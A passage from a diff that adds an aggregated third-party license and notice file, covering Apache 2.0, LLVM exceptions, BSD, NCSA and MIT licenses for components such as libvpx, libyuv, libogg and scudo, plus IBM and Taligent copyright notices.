+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "{}"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright {yyyy} {name of copyright owner}
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+======================================================================
+external/libvpx/NOTICE
+
+Copyright (c) 2010, The WebM Project authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+  * Redistributions of source code must retain the above copyright
+    notice, this list of conditions and the following disclaimer.
+
+  * Redistributions in binary form must reproduce the above copyright
+    notice, this list of conditions and the following disclaimer in
+    the documentation and/or other materials provided with the
+    distribution.
+
+  * Neither the name of Google, nor the WebM Project, nor the names
+    of its contributors may be used to endorse or promote products
+    derived from this software without specific prior written
+    permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+======================================================================
+external/gwp_asan/LICENSE
+external/scudo/LICENSE
+
+==============================================================================
+The LLVM Project is under the Apache License v2.0 with LLVM Exceptions:
+==============================================================================
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+    TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+    1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+    2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+    3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+    4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+    5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+    6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+    7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+    8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+    9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+    END OF TERMS AND CONDITIONS
+
+    APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+    Copyright [yyyy] [name of copyright owner]
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+
+
+---- LLVM Exceptions to the Apache 2.0 License ----
+
+As an exception, if, as a result of your compiling your source code, portions
+of this Software are embedded into an Object form of such source code, you
+may redistribute such embedded portions in such Object form without complying
+with the conditions of Sections 4(a), 4(b) and 4(d) of the License.
+
+In addition, if you combine or link compiled forms of this Software with
+software that is licensed under the GPLv2 ("Combined Software") and if a
+court of competent jurisdiction determines that the patent provision (Section
+3), the indemnity provision (Section 9) or other Section of the License
+conflicts with the conditions of the GPLv2, you may retroactively and
+prospectively choose to deem waived or otherwise exclude such Section(s) of
+the License, but only in their entirety and only with respect to the Combined
+Software.
+
+==============================================================================
+Software from third parties included in the LLVM Project:
+==============================================================================
+The LLVM Project contains third party software which is under different license
+terms. All such code will be identified clearly using at least one of two
+mechanisms:
+1) It will be in a separate directory tree with its own `LICENSE.txt` or
+   `LICENSE` file at the top containing the specific license and restrictions
+   which apply to that software, or
+2) It will contain specific license and restriction terms at the top of every
+   file.
+
+==============================================================================
+Legacy LLVM License (https://llvm.org/docs/DeveloperPolicy.html#legacy):
+==============================================================================
+
+The compiler_rt library is dual licensed under both the University of Illinois
+"BSD-Like" license and the MIT license.  As a user of this code you may choose
+to use it under either license.  As a contributor, you agree to allow your code
+to be used under both.
+
+Full text of the relevant licenses is included below.
+
+==============================================================================
+
+University of Illinois/NCSA
+Open Source License
+
+Copyright (c) 2009-2019 by the contributors listed in CREDITS.TXT
+
+All rights reserved.
+
+Developed by:
+
+    LLVM Team
+
+    University of Illinois at Urbana-Champaign
+
+    http://llvm.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal with
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimers.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimers in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the names of the LLVM Team, University of Illinois at
+      Urbana-Champaign, nor the names of its contributors may be used to
+      endorse or promote products derived from this Software without specific
+      prior written permission.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
+SOFTWARE.
+
+==============================================================================
+
+Copyright (c) 2009-2015 by the contributors listed in CREDITS.TXT
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+======================================================================
+external/libyuv/LICENSE
+
+Copyright (c) 2011, Google Inc. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+  * Redistributions of source code must retain the above copyright
+    notice, this list of conditions and the following disclaimer.
+
+  * Redistributions in binary form must reproduce the above copyright
+    notice, this list of conditions and the following disclaimer in
+    the documentation and/or other materials provided with the
+    distribution.
+
+  * Neither the name of Google nor the names of its contributors may
+    be used to endorse or promote products derived from this software
+    without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/libogg/NOTICE
+
+Copyright (c) 2002, Xiph.org Foundation
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+- Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+
+- Redistributions in binary form must reproduce the above copyright
+notice, this list of conditions and the following disclaimer in the
+documentation and/or other materials provided with the distribution.
+
+- Neither the name of the Xiph.org Foundation nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION
+OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+libcore/ojluni/NOTICE
+
+ ******************************************************************************
+Copyright (C) 2003, International Business Machines Corporation and   *
+others. All Rights Reserved.                                               *
+ ******************************************************************************
+
+Created on May 2, 2003
+
+To change the template for this generated file go to
+Window>Preferences>Java>Code Generation>Code and Comments
+
+-------------------------------------------------------------------
+
+ *******************************************************************************
+(C) Copyright IBM Corp. 1996-2005 - All Rights Reserved                     *
+                                                                            *
+The original version of this source code and documentation is copyrighted   *
+and owned by IBM, These materials are provided under terms of a License     *
+Agreement between IBM and Sun. This technology is protected by multiple     *
+US and International patents. This notice and attribution to IBM may not    *
+to removed.                                                                 *
+ *******************************************************************************
+
+-------------------------------------------------------------------
+
+ *******************************************************************************
+(C) Copyright IBM Corp. and others, 1996-2009 - All Rights Reserved         *
+                                                                            *
+The original version of this source code and documentation is copyrighted   *
+and owned by IBM, These materials are provided under terms of a License     *
+Agreement between IBM and Sun. This technology is protected by multiple     *
+US and International patents. This notice and attribution to IBM may not    *
+to removed.                                                                 *
+ *******************************************************************************
+
+-------------------------------------------------------------------
+
+ *******************************************************************************
+(C) Copyright IBM Corp. and others, 1996-2009 - All Rights Reserved         *
+                                                                            *
+The original version of this source code and documentation is copyrighted   *
+and owned by IBM, These materials are provided under terms of a License     *
+Agreement between IBM and Sun. This technology is protected by multiple     *
+US and International patents. This notice and attribution to IBM may not    *
+to removed.                                                                 *
+ *******************************************************************************
+*   file name:  UBiDiProps.java
+*   encoding:   US-ASCII
+*   tab size:   8 (not used)
+*   indentation:4
+*
+*   created on: 2005jan16
+*   created by: Markus W. Scherer
+*
+*   Low-level Unicode bidi/shaping properties access.
+*   Java port of ubidi_props.h/.c.
+
+-------------------------------------------------------------------
+
+ *******************************************************************************
+Copyright (C) 2003-2004, International Business Machines Corporation and         *
+others. All Rights Reserved.                                                *
+ *******************************************************************************
+
+-------------------------------------------------------------------
+
+ *******************************************************************************
+Copyright (C) 2003-2004, International Business Machines Corporation and    *
+others. All Rights Reserved.                                                *
+ *******************************************************************************
+
+-------------------------------------------------------------------
+
+ *******************************************************************************
+Copyright (C) 2004, International Business Machines Corporation and         *
+others. All Rights Reserved.                                                *
+ *******************************************************************************
+
+-------------------------------------------------------------------
+
+ *******************************************************************************
+Copyright (C) 2009, International Business Machines Corporation and         *
+others. All Rights Reserved.                                                *
+ *******************************************************************************
+
+-------------------------------------------------------------------
+
+ *******************************************************************************
+Copyright (C) 2009-2010, International Business Machines Corporation and    *
+others. All Rights Reserved.                                                *
+ *******************************************************************************
+
+-------------------------------------------------------------------
+
+ *******************************************************************************
+Copyright (C) 2010, International Business Machines Corporation and         *
+others. All Rights Reserved.                                                *
+ *******************************************************************************
+
+-------------------------------------------------------------------
+
+(C) Copyright IBM Corp. 1996-2003 - All Rights Reserved                     *
+                                                                            *
+The original version of this source code and documentation is copyrighted   *
+and owned by IBM, These materials are provided under terms of a License     *
+Agreement between IBM and Sun. This technology is protected by multiple     *
+US and International patents. This notice and attribution to IBM may not    *
+to removed.                                                                 *
+#******************************************************************************
+
+This locale data is based on the ICU's Vietnamese locale data (rev. 1.38)
+found at:
+
+http://oss.software.ibm.com/cvs/icu/icu/source/data/locales/vi.txt?rev=1.38
+
+-------------------------------------------------------------------
+
+(C) Copyright IBM Corp. 1999-2003 - All Rights Reserved
+
+The original version of this source code and documentation is
+copyrighted and owned by IBM. These materials are provided
+under terms of a License Agreement between IBM and Sun.
+This technology is protected by multiple US and International
+patents. This notice and attribution to IBM may not be removed.
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996 - 1997, All Rights Reserved
+(C) Copyright IBM Corp. 1996 - 1998, All Rights Reserved
+
+The original version of this source code and documentation is
+copyrighted and owned by Taligent, Inc., a wholly-owned subsidiary
+of IBM. These materials are provided under terms of a License
+Agreement between Taligent and Sun. This technology is protected
+by multiple US and International patents.
+
+This notice and attribution to Taligent may not be removed.
+Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996 - All Rights Reserved
+(C) Copyright IBM Corp. 1996 - All Rights Reserved
+
+  The original version of this source code and documentation is copyrighted
+and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
+materials are provided under terms of a License Agreement between Taligent
+and Sun. This technology is protected by multiple US and International
+patents. This notice and attribution to Taligent may not be removed.
+  Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996 - All Rights Reserved
+(C) Copyright IBM Corp. 1996-1998 - All Rights Reserved
+
+  The original version of this source code and documentation is copyrighted
+and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
+materials are provided under terms of a License Agreement between Taligent
+and Sun. This technology is protected by multiple US and International
+patents. This notice and attribution to Taligent may not be removed.
+  Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
+(C) Copyright IBM Corp. 1996 - 1998 - All Rights Reserved
+
+  The original version of this source code and documentation is copyrighted
+and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
+materials are provided under terms of a License Agreement between Taligent
+and Sun. This technology is protected by multiple US and International
+patents. This notice and attribution to Taligent may not be removed.
+  Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
+(C) Copyright IBM Corp. 1996 - 1998 - All Rights Reserved
+
+The original version of this source code and documentation
+is copyrighted and owned by Taligent, Inc., a wholly-owned
+subsidiary of IBM. These materials are provided under terms
+of a License Agreement between Taligent and Sun. This technology
+is protected by multiple US and International patents.
+
+This notice and attribution to Taligent may not be removed.
+Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
+(C) Copyright IBM Corp. 1996 - 1999 - All Rights Reserved
+
+The original version of this source code and documentation
+is copyrighted and owned by Taligent, Inc., a wholly-owned
+subsidiary of IBM. These materials are provided under terms
+of a License Agreement between Taligent and Sun. This technology
+is protected by multiple US and International patents.
+
+This notice and attribution to Taligent may not be removed.
+Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
+(C) Copyright IBM Corp. 1996 - 2002 - All Rights Reserved
+
+The original version of this source code and documentation
+is copyrighted and owned by Taligent, Inc., a wholly-owned
+subsidiary of IBM. These materials are provided under terms
+of a License Agreement between Taligent and Sun. This technology
+is protected by multiple US and International patents.
+
+This notice and attribution to Taligent may not be removed.
+Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
